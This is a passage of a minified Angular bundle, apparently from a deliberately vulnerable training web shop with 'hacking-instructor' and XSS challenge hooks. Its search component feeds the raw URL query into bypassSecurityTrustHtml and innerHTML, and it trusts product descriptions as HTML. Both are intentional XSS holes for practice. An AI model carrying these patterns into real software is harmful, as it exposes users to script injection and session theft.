Dialog",1,"close-dialog","buttons"],[1,"material-icons"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Send the review",1,"buttons",2,"margin-bottom","5px","margin-top","5px","margin-left","5px",3,"disabled","click"],["aria-label","Bonus points when buying the product",3,"matTooltip"],[1,"fa-2x","fa-layers","fa-fw"],[1,"fas","fa-crown"],[1,"fa-layers-counter","fa-layers-bottom-left","fa-2x","warn-notification",2,"font-size","47px"],["class","comment",4,"ngFor","ngForOf"],[1,"comment"],["fxLayout","row"],["matTooltipPosition","right",1,"review-text",3,"matTooltipDisabled","matTooltip","click"],["mat-icon-button","","aria-label","Rate a helpful review",1,"rw-button",3,"disabled","click"],[1,"fa-layers-counter","fa-layers-bottom-right","accent-notification",2,"font-size","32px"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-dialog-content")(1,"div",0)(2,"div",1)(3,"div",2),t._UZ(4,"img",3),t.qZA(),t.TgZ(5,"div")(6,"h1"),t._uU(7),t.qZA(),t._UZ(8,"div",4)(9,"br"),t.TgZ(10,"div")(11,"p",5),t._uU(12),t.qZA(),t.YNc(13,To,6,4,"div",6),t.qZA()()(),t._UZ(14,"mat-divider",7)(15,"button",8),t.TgZ(16,"mat-expansion-panel",9)(17,"mat-expansion-panel-header")(18,"mat-panel-title")(19,"span",10),t._uU(20,"LABEL_REVIEWS"),t.qZA(),t.TgZ(21,"span"),t._uU(22),t.ALo(23,"async"),t.qZA()()(),t._UZ(24,"button",8),t.YNc(25,yo,3,3,"div",11),t.ALo(26,"async"),t.YNc(27,Zo,3,0,"ng-template",null,12,t.W1O),t.qZA(),t.TgZ(29,"div"),t._UZ(30,"mat-divider",7),t.TgZ(31,"h4",13),t._uU(32,"WRITE_REVIEW"),t.qZA(),t.TgZ(33,"mat-form-field",14)(34,"mat-label",13),t._uU(35,"LABEL_REVIEW"),t.qZA(),t.TgZ(36,"mat-hint",13),t._UZ(37,"i",15),t.TgZ(38,"em",16),t._uU(39),t.ALo(40,"translate"),t.qZA()(),t._UZ(41,"textarea",17,18),t.ALo(43,"translate"),t.TgZ(44,"mat-hint",19),t._uU(45),t.qZA()(),t.TgZ(46,"mat-dialog-actions",20)(47,"button",21)(48,"i",22),t._uU(49," close "),t.qZA(),t.TgZ(50,"span"),t._uU(51),t.ALo(52,"translate"),t.qZA()(),t.TgZ(53,"button",23),t.NdJ("click",function(){t.CHM(i);const l=t.MAs(42);return t.KtG(o.addReview(l))}),t.TgZ(54,"i",22),t._uU(55," send "),t.qZA(),t.TgZ(56,"span"),t._uU(57),t.ALo(58,"translate"),t.qZA()()()()()()}if(2&e){const i=t.MAs(28),r=t.MAs(42);let l,m;t.xp6(4),t.s9C("alt",o.data.productData.name),t.Q6J("src","assets/public/images/products/"+o.data.productData.image,t.LSH),t.xp6(3),t.Oqu(o.data.productData.name),t.xp6(1),t.Q6J("innerHTML",o.data.productData.description,t.oJD),t.xp6(4),t.hij("",o.data.productData.price,"\\xa4"),t.xp6(1),t.Q6J("ngIf",o.data.productData.points>0),t.xp6(9),t.hij("(",null==(l=t.lcZ(23,22,o.reviews$))?null:l.length,")"),t.xp6(3),t.Q6J("ngIf",(null==(m=t.lcZ(26,24,o.reviews$))?null:m.length)>=1)("ngIfElse",i),t.xp6(6),t.Udp("display",o.isLoggedIn()?"block":"none"),t.xp6(2),t.Udp("display",o.isLoggedIn()?"block":"none"),t.xp6(6),t.Oqu(t.xi3(40,26,"MAX_TEXTAREA_LENGTH",t.DdM(35,wo))),t.xp6(2),t.s9C("placeholder",t.lcZ(43,29,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.reviewControl),t.xp6(4),t.hij("",(null==r.value?null:r.value.length)||0,"/160"),t.xp6(6),t.hij(" ",t.lcZ(52,31,"BTN_CLOSE"),""),t.xp6(2),t.Udp("display",o.isLoggedIn()?"block":"none"),t.Q6J("disabled",!r.value.trim()),t.xp6(4),t.hij(" ",t.lcZ(58,33,"BTN_SUBMIT")," ")}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.yH,s.Fj,s.JJ,s.nD,s.oH,F.Hw,f.KE,f.bx,f.hX,x.lW,B.Nt,N.ZT,N.xY,N.H8,z.d,V.ib,V.yz,V.yK,Q.gM,h.Ov,u.X$],styles:[".img-thumbnail[_ngcontent-%COMP%]{height:auto;max-width:100%;padding:0;width:200px}mat-form-field[_ngcontent-%COMP%]{width:100%}p[_ngcontent-%COMP%]{word-break:break-all}.btn-container[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:nth-child(2){left:530px;width:50px}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}.rw-button[_ngcontent-%COMP%]{margin-left:8px}.comment[_ngcontent-%COMP%]{margin-bottom:8px}.review-link[_ngcontent-%COMP%]{font-size:11px;margin-top:-10px;text-decoration:none}#submitButton[_ngcontent-%COMP%]{float:right}.item-price[_ngcontent-%COMP%]{float:left;margin-right:40px;margin-top:8px}.noResultText[_ngcontent-%COMP%]{display:block;font-size:small;margin-left:auto;margin-right:auto;text-align:center}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}.buttons[_ngcontent-%COMP%]{padding-left:13px;padding-right:13px}"]}),n})(),Pt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Products"}search(e){return this.http.get(`${this.hostServer}/rest/products/search?q=${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}?d=${encodeURIComponent((new Date).toDateString())}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var xt=c(8739),Nt=c(567),Ze=c(42);let st=(()=>{class n{constructor(e){this.ngZone=e,this.ngZone.runOutsideAngular(()=>{this._socket="."===P.N.hostServer?(0,Ze.io)(window.location.origin,{path:(window.location.pathname.endsWith("/")?window.location.pathname:window.location.pathname+"/")+"socket.io"}):(0,Ze.io)(P.N.hostServer)})}socket(){return this._socket}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(t.R0b))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Wt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Quantitys"}getAll(){return this.http.get(this.host+"/").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var zt=c(782);function So(n,a){if(1&n&&(t.TgZ(0,"div")(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t._UZ(4,"span",9),t.qZA()),2&n){const e=t.oxw();t.xp6(2),t.hij("",t.lcZ(3,2,"TITLE_SEARCH_RESULTS")," - "),t.xp6(2),t.Q6J("innerHTML",e.searchValue,t.oJD)}}function ko(n,a){1&n&&(t.TgZ(0,"div"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.Oqu(t.lcZ(2,1,"TITLE_ALL_PRODUCTS")))}const Io=function(n){return{quantity:n}};function Oo(n,a){if(1&n&&(t.TgZ(0,"div",24)(1,"span",25),t._uU(2,"LABEL_ONLY_QUANTITY_LEFT"),t.qZA()()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.Q6J("translateParams",t.VKq(1,Io,e.quantity))}}function Uo(n,a){1&n&&(t.TgZ(0,"div",26)(1,"span",27),t._uU(2,"LABEL_SOLD_OUT"),t.qZA()())}function Lo(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Po(n,a){if(1&n&&(t.TgZ(0,"span")(1,"s"),t._uU(2),t.qZA(),t._uU(3),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(2),t.Oqu(e.price),t.xp6(1),t.hij(" ",e.deluxePrice,"\\xa4")}}function No(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",28),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.addToBasket(i.id))}),t.TgZ(1,"span",27),t._uU(2,"ADD_BASKET"),t.qZA()()}}function Eo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-grid-tile")(1,"mat-card",13),t.YNc(2,Oo,3,3,"div",14),t.YNc(3,Uo,3,0,"div",15),t.TgZ(4,"div",16),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.showDetail(r))}),t.TgZ(5,"div",17),t._UZ(6,"img",18),t.qZA(),t.TgZ(7,"div",19)(8,"div",20),t._uU(9),t.qZA(),t.TgZ(10,"div",21),t.YNc(11,Lo,2,1,"span",3),t.YNc(12,Po,4,2,"span",3),t.qZA()()(),t.TgZ(13,"div",22),t.YNc(14,No,3,0,"button",23),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Udp("width","100%"),t.xp6(1),t.Q6J("ngIf",e.quantity<=5&&e.quantity>0),t.xp6(1),t.Q6J("ngIf",e.quantity<=0),t.xp6(3),t.s9C("alt",e.name),t.Q6J("src","assets/public/images/products/"+e.image,t.LSH),t.xp6(3),t.hij(" ",e.name," "),t.xp6(2),t.Q6J("ngIf",!o.isDeluxe()||e.price===e.deluxePrice),t.xp6(1),t.Q6J("ngIf",o.isDeluxe()&&e.price!==e.deluxePrice),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn())}}function Mo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"mat-grid-list",10,11),t.NdJ("resize",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onResize(i))},!1,t.Jf7),t.YNc(3,Eo,15,10,"mat-grid-tile",12),t.ALo(4,"async"),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(1),t.Q6J("cols",e.breakpoint),t.xp6(2),t.Q6J("ngForOf",t.lcZ(4,2,e.gridDataSource))}}function Do(n,a){1&n&&(t.TgZ(0,"mat-card",29),t._UZ(1,"img",30),t.TgZ(2,"mat-card-title")(3,"span",31),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",31),t._uU(7," EMPTY_SEARCH_RESULT "),t.qZA()()())}O.vI.add(g.Mdf,g.qD8);let $t=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.deluxeGuard=e,this.dialog=o,this.productService=i,this.quantityService=r,this.basketService=l,this.translateService=m,this.router=v,this.route=A,this.sanitizer=q,this.ngZone=Y,this.io=dt,this.snackBarHelperService=wt,this.cdRef=St,this.displayedColumns=["Image","Product","Description","Price","Select"],this.pageSizeOptions=[],this.resultsLength=0,this.paginator=null,this.breakpoint=6,this.emptyState=!1}ngAfterViewInit(){const e=this.productService.search(""),o=this.quantityService.getAll();(0,Nt.D)([o,e]).subscribe(([i,r])=>{const l=[];this.tableData=r,this.trustProductDescription(r);for(const v of r)l.push({name:v.name,price:v.price,deluxePrice:v.deluxePrice,id:v.id,image:v.image,description:v.description});for(const v of i){const A=l.find(q=>q.id===v.ProductId);void 0!==A&&(A.quantity=v.quantity)}this.dataSource=new d.by(l);for(let v=1;v<=Math.ceil(this.dataSource.data.length/12);v++)this.pageSizeOptions.push(12*v);this.paginator.pageSizeOptions=this.pageSizeOptions,this.dataSource.paginator=this.paginator,this.gridDataSource=this.dataSource.connect(),this.resultsLength=this.dataSource.data.length,this.filterTable(),this.routerSubscription=this.router.events.subscribe(()=>{this.filterTable()});const m=this.route.snapshot.queryParams.challenge;m&&this.route.snapshot.url.join("").match(/hacking-instructor/)&&this.startHackingInstructor(decodeURIComponent(m)),window.innerWidth<2600?(this.breakpoint=4,window.innerWidth<1740&&(this.breakpoint=3,window.innerWidth<1280&&(this.breakpoint=2,window.innerWidth<850&&(this.breakpoint=1)))):this.breakpoint=6,this.cdRef.detectChanges()},i=>{console.log(i)})}trustProductDescription(e){for(let o=0;o<e.length;o++)e[o].description=this.sanitizer.bypassSecurityTrustHtml(e[o].description)}ngOnDestroy(){this.routerSubscription&&this.routerSubscription.unsubscribe(),this.productSubscription&&this.productSubscription.unsubscribe(),this.dataSource&&this.dataSource.disconnect()}filterTable(){let e=this.route.snapshot.queryParams.q;e?(e=e.trim(),this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifyLocalXssChallenge",e)}),this.dataSource.filter=e.toLowerCase(),this.searchValue=this.sanitizer.bypassSecurityTrustHtml(e),this.gridDataSource.subscribe(o=>{this.emptyState=0===o.length})):(this.dataSource.filter="",this.searchValue=void 0,this.emptyState=!1)}startHackingInstructor(e){console.log(`Starting instructions for challenge "${e}"`),Promise.resolve().then(c.bind(c,1096)).then(o=>{o.startHackingInstructorFor(e)})}showDetail(e){this.dialog.open(ye,{width:"500px",height:"max-content",data:{productData:e}})}addToBasket(e){this.basketService.find(Number(sessionStorage.getItem("bid"))).subscribe(o=>{const i=o.Products;let r=!1;for(let l=0;l<i.length;l++)if(i[l].id===e){r=!0,this.basketService.get(i[l].BasketItem.id).subscribe(m=>{this.basketService.put(m.id,{quantity:m.quantity+1}).subscribe(A=>{this.productService.get(A.ProductId).subscribe(q=>{this.translateService.get("BASKET_ADD_SAME_PRODUCT",{product:q.name}).subscribe(Y=>{this.snackBarHelperService.open(Y,"confirmBar"),this.basketService.updateNumberOfCartItems()},Y=>{this.snackBarHelperService.open(Y,"confirmBar"),this.basketService.updateNumberOfCartItems()})},q=>{console.log(q)})},A=>{this.snackBarHelperService.open(A.error?.error,"errorBar"),console.log(A)})},m=>{console.log(m)});break}r||this.basketService.save({ProductId:e,BasketId:sessionStorage.getItem("bid"),quantity:1}).subscribe(l=>{this.productService.get(l.ProductId).subscribe(m=>{this.translateService.get("BASKET_ADD_PRODUCT",{product:m.name}).subscribe(v=>{this.snackBarHelperService.open(v,"confirmBar"),this.basketService.updateNumberOfCartItems()},v=>{this.snackBarHelperService.open(v,"confirmBar"),this.basketService.updateNumberOfCartItems()})},m=>{console.log(m)})},l=>{this.snackBarHelperService.open(l.error?.error,"errorBar"),console.log(l)})},o=>{console.log(o)})}isLoggedIn(){return localStorage.getItem("token")}onResize(e){e.target.innerWidth<2600?(this.breakpoint=4,e.target.innerWidth<1740&&(this.breakpoint=3,e.target.innerWidth<1280&&(this.breakpoint=2,e.target.innerWidth<850&&(this.breakpoint=1)))):this.breakpoint=6}isDeluxe(){return this.deluxeGuard.isDeluxe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ht),t.Y36(N.uw),t.Y36(Pt),t.Y36(Wt),t.Y36(X),t.Y36(u.sK),t.Y36(U.F0),t.Y36(U.gz),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(J.H),t.Y36(t.sBO))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-search-result"]],viewQuery:function(e,o){if(1&e&&t.Gf(xt.NW,7),2&e){let i;t.iGM(i=t.CRH())&&(o.paginator=i.first)}},decls:12,vars:7,consts:[["fxLayoutAlign","center"],[1,"table-container","custom-slate"],[1,"heading","mat-elevation-z6"],[4,"ngIf"],["id","search-result-heading"],[4,"ngIf","ngIfElse"],["emptyResult",""],["color","accent",1,"mat-elevation-z6",3,"pageSize","pageSizeOptions","length"],["paginator",""],["id","searchValue",3,"innerHTML"],["gutterSize","30px",3,"cols","resize"],["table",""],[4,"ngFor","ngForOf"],[1,"mat-elevation-z6","ribbon-card"],["class","ribbon ribbon-top-left",4,"ngIf"],["class","ribbon ribbon-top-left ribbon-sold",4,"ngIf"],["aria-label","Click for more information about the product","matTooltip","Click for more information","matTooltipPosition","above",1,"product",3,"click"],["fxFlexAlign","center","fxFlex","60%",1,"img-container"],["mat-card-image","","role","button",1,"img-responsive","img-thumbnail",3,"src","alt"],["fxFlexAlign","center","fxFlex","40%"],[1,"item-name"],[1,"item-price"],[2,"display","flex","justify-content","center"],["aria-label","Add to Basket","class","btn-basket","color","primary","mat-button","","mat-raised-button","",3,"click",4,"ngIf"],[1,"ribbon","ribbon-top-left"],["translate","",3,"translateParams"],[1,"ribbon","ribbon-top-left","ribbon-sold"],["translate",""],["aria-label","Add to Basket","color","primary","mat-button","","mat-raised-button","",1,"btn-basket",3,"click"],[1,"mat-elevation-z6","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"div",2),t.YNc(3,So,5,4,"div",3),t.YNc(4,ko,3,3,"div",3),t._UZ(5,"div",4),t.qZA(),t.YNc(6,Mo,5,4,"div",5),t.YNc(7,Do,8,0,"ng-template",null,6,t.W1O),t._UZ(9,"mat-divider")(10,"mat-paginator",7,8),t.qZA()()),2&e){const i=t.MAs(8);t.xp6(3),t.Q6J("ngIf",o.searchValue),t.xp6(1),t.Q6J("ngIf",!o.searchValue),t.xp6(2),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i),t.xp6(4),t.Q6J("pageSize",12)("pageSizeOptions",o.pageSizeOptions)("length",o.resultsLength)}},dependencies:[h.sg,h.O5,u.Pi,p.Wh,p.XD,p.yH,x.lW,xt.NW,T.a8,T.dn,T.n5,T.G2,z.d,Q.gM,zt.Il,zt.DX,h.Ov,u.X$],styles:[\'.table-container[_ngcontent-%COMP%]{min-width:350px;width:80%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.img-thumbnail[_ngcontent-%COMP%]{width:100%}.product[_ngcontent-%COMP%]{cursor:pointer}.btn-basket[_ngcontent-%COMP%]{bottom:10%}mat-card[_ngcontent-%COMP%]{height:calc(100% - 70px)}.item-price[_ngcontent-%COMP%]{font-size:initial;margin-top:12px;text-align:center}.item-name[_ngcontent-%COMP%]{font-size:large;text-align:center}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px auto;width:50%}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}.ribbon-card[_ngcontent-%COMP%]{position:relative}.ribbon[_ngcontent-%COMP%]{height:150px;overflow:hidden;pointer-events:none;position:absolute;width:150px}.ribbon[_ngcontent-%COMP%]:before{content:"";display:block;position:absolute;z-index:-1}.ribbon[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{box-shadow:0 5px 10px #0000001a;color:#fff;display:block;font:700 18px/1 Lato,sans-serif;padding:15px 0;position:absolute;text-align:center;text-shadow:0 1px 1px rgba(0,0,0,.2);width:225px}.ribbon-top-left[_ngcontent-%COMP%]{left:-10px;top:-10px}.ribbon-top-left[_ngcontent-%COMP%]:before{border-left-color:transparent;border-top-color:transparent;right:0;top:0}.ribbon-top-left[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{right:-25px;top:30px;transform:rotate(-45deg)}\']}),n})(),Vt=(()=>{class n{get nativeWindow(){return function qo(){return window}()}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Xt=c(6709);function Fo(n,a){if(1&n&&(t.TgZ(0,"div",20),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Oqu(e.error)}}function Bo(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function Ro(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",21),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.hide=!i.hide)}),t.ALo(1,"translate"),t._UZ(2,"i",22),t.qZA()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"SHOW_PWD_TOOLTIP"))}function Yo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",23),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.hide=!i.hide)}),t.ALo(1,"translate"),t._UZ(2,"i",24),t.qZA()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"HIDE_PWD_TOOLTIP"))}function Jo(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1,"MANDATORY_PASSWORD"),t.qZA())}function Qo(n,a){1&n&&(t.TgZ(0,"div",25)(1,"div",26),t._UZ(2,"div"),t.qZA(),t.TgZ(3,"div",27),t._uU(4,"LABEL_OR"),t.qZA(),t.TgZ(5,"div",26),t._UZ(6,"div"),t.qZA()())}function Ho(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",28),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.googleLogin())}),t._UZ(1,"i",29),t._uU(2),t.ALo(3,"translate"),t.qZA()}2&n&&(t.xp6(2),t.hij(" ",t.lcZ(3,1,"BTN_GOOGLE_LOGIN")," "))}O.vI.add(g.DD4,g.Mdf,g.Aq,Z.xYR);let jo=(()=>{class n{constructor(e,o,i,r,l,m,v,A){this.configurationService=e,this.userService=o,this.windowRefService=i,this.cookieService=r,this.router=l,this.formSubmitService=m,this.basketService=v,this.ngZone=A,this.emailControl=new s.p4("",[s.kI.required]),this.passwordControl=new s.p4("",[s.kI.required,s.kI.minLength(1)]),this.hide=!0,this.rememberMe=new s.p4(!1),this.clientId="1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com",this.oauthUnavailable=!0,this.redirectUri=""}ngOnInit(){const e=localStorage.getItem("email");e?(this.user={},this.user.email=e,this.rememberMe.setValue(!0)):this.rememberMe.setValue(!1),this.redirectUri=`${this.windowRefService.nativeWindow.location.protocol}//${this.windowRefService.nativeWindow.location.host}`,this.configurationService.getApplicationConfiguration().subscribe(o=>{if(o?.application?.googleOauth){this.clientId=o.application.googleOauth.clientId;const i=o.application.googleOauth.authorizedRedirects.find(r=>r.uri===this.redirectUri);i?(this.oauthUnavailable=!1,this.redirectUri=i.proxy?i.proxy:i.uri):(this.oauthUnavailable=!0,console.log(this.redirectUri+" is not an authorized redirect URI for this application."))}},o=>{console.log(o)}),this.formSubmitService.attachEnterKeyHandler("login-form","loginButton",()=>{this.login()})}login(){var e=this;this.user={},this.user.email=this.emailControl.value,this.user.password=this.passwordControl.value,this.userService.login(this.user).subscribe(o=>{localStorage.setItem("token",o.token);const i=new Date;i.setHours(i.getHours()+8),this.cookieService.put("token",o.token,{expires:i}),sessionStorage.setItem("bid",o.bid),this.basketService.updateNumberOfCartItems(),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/search"])}))},({error:o})=>{if(o.status&&o.data&&"totp_token_required"===o.status)return localStorage.setItem("totp_tmp_token",o.data.tmpToken),void this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/2fa/enter"])}));localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),this.error=o,this.userService.isLoggedIn.next(!1),this.emailControl.markAsPristine(),this.passwordControl.markAsPristine()}),this.rememberMe.value?localStorage.setItem("email",this.user.email):localStorage.removeItem("email")}googleLogin(){this.windowRefService.nativeWindow.location.replace(`https://accounts.google.com/o/oauth2/v2/auth?client_id=${this.clientId}&response_type=token&scope=email&redirect_uri=${this.redirectUri}`)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(R),t.Y36(Vt),t.Y36(I.N_),t.Y36(U.F0),t.Y36(rt),t.Y36(X),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-login"]],decls:35,vars:18,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["class","error",4,"ngIf"],["id","login-form",1,"form-container"],["color","accent","appearance","outline"],["translate",""],["id","email","name","email","matInput","","placeholder","","aria-label","Text field for the login email",3,"formControl","focus"],["email",""],["translate","",4,"ngIf"],["id","password","name","password","matInput","","placeholder","","aria-label","Text field for the login password",3,"formControl","type","focus"],["password",""],["mat-icon-button","","matSuffix","","aria-label","Button to display the password","matTooltipPosition","right",3,"matTooltip","click",4,"ngIf"],["mat-icon-button","","matSuffix","","aria-label","Button to hide the password","matTooltipPosition","right",3,"matTooltip","click",4,"ngIf"],["routerLink","/forgot-password","translate","",1,"primary-link","forgot-pw"],["type","submit","id","loginButton","mat-raised-button","","color","primary","aria-label","Login",3,"disabled","click"],["id","rememberMe","aria-label","Checkbox to stay logged in or not logged in",3,"formControl"],["class","breakLine",4,"ngIf"],["id","loginButtonGoogle","mat-raised-button","","color","accent","aria-label","Login with Google","class","google-button",3,"click",4,"ngIf"],["id","newCustomerLink"],["routerLink","/register","translate","",1,"primary-link"],[1,"error"],["mat-icon-button","","matSuffix","","aria-label","Button to display the password","matTooltipPosition","right",3,"matTooltip","click"],["aria-label","Eye",1,"fas","fa-eye"],["mat-icon-button","","matSuffix","","aria-label","Button to hide the password","matTooltipPosition","right",3,"matTooltip","click"],["aria-label","Eye Slash",1,"fas","fa-eye-slash"],[1,"breakLine"],[1,"line"],["translate","",1,"textOnLine"],["id","loginButtonGoogle","mat-raised-button","","color","accent","aria-label","Login with Google",1,"google-button",3,"click"],[1,"fab","fa-google","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1"),t._uU(3,"Login"),t.qZA(),t.YNc(4,Fo,2,1,"div",2),t.TgZ(5,"div",3)(6,"mat-form-field",4)(7,"mat-label",5),t._uU(8,"LABEL_EMAIL"),t.qZA(),t.TgZ(9,"input",6,7),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(11,Bo,2,0,"mat-error",8),t.qZA(),t.TgZ(12,"mat-form-field",4)(13,"mat-label",5),t._uU(14,"LABEL_PASSWORD"),t.qZA(),t.TgZ(15,"input",9,10),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(17,Ro,3,3,"button",11),t.YNc(18,Yo,3,3,"button",12),t.YNc(19,Jo,2,0,"mat-error",8),t.qZA(),t.TgZ(20,"a",13),t._uU(21,"FORGOT_PASSWORD"),t.qZA(),t.TgZ(22,"button",14),t.NdJ("click",function(){return o.login()}),t.TgZ(23,"mat-icon"),t._uU(24," exit_to_app "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA(),t.TgZ(27,"mat-checkbox",15),t._uU(28),t.ALo(29,"translate"),t.qZA(),t.YNc(30,Qo,7,0,"div",16),t.YNc(31,Ho,4,3,"button",17),t.TgZ(32,"div",18)(33,"a",19),t._uU(34,"NO_CUSTOMER"),t.qZA()()()()()),2&e&&(t.xp6(4),t.Q6J("ngIf",o.error),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(2),t.Q6J("ngIf",o.emailControl.invalid),t.xp6(4),t.Q6J("formControl",o.passwordControl)("type",o.hide?"password":"text"),t.xp6(2),t.Q6J("ngIf",o.hide),t.xp6(1),t.Q6J("ngIf",!o.hide),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid),t.xp6(3),t.Q6J("disabled",!o.emailControl.value||!o.passwordControl.value),t.xp6(3),t.hij(" ",t.lcZ(26,14,"BTN_LOGIN")," "),t.xp6(2),t.Q6J("formControl",o.rememberMe),t.xp6(1),t.hij(" ",t.lcZ(29,16,"REMEMBER_ME")," "),t.xp6(2),t.Q6J("ngIf",!o.oauthUnavailable),t.xp6(1),t.Q6J("ngIf",!o.oauthUnavailable))},dependencies:[h.O5,U.rH,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.hX,f.R9,x.lW,T.a8,B.Nt,Xt.oG,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.forgot-pw[_ngcontent-%COMP%]{font-size:11px;margin-top:-15px}mat-checkbox[_ngcontent-%COMP%]{margin-bottom:20px;margin-left:20%;margin-top:5px}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}mat-form-field[_ngcontent-%COMP%]:nth-child(2){padding-bottom:20px}#loginButton[_ngcontent-%COMP%], #loginButtonGoogle[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.breakLine[_ngcontent-%COMP%]{display:table}.breakLine[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{display:table-cell;white-space:nowrap}.line[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{border-bottom:1px solid #c0c0c0;height:1px}.textOnLine[_ngcontent-%COMP%]{padding:0 5px}.line[_ngcontent-%COMP%]{vertical-align:middle;width:50%}#newCustomerLink[_ngcontent-%COMP%]{align-self:center;font-size:12px;margin-top:40px}[_nghost-%COMP%] .mat-form-field-suffix{margin-bottom:auto!important;margin-top:auto!important}[_nghost-%COMP%] .mat-icon-button{height:40px!important;width:24px!important}"]}),n})();O.vI.add(g.OFe);let Ko=(()=>{class n{constructor(e,o){this.dialogData=e,this.userService=o}ngOnInit(){this.userService.get(this.dialogData.id).subscribe(e=>{this.user=e},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return 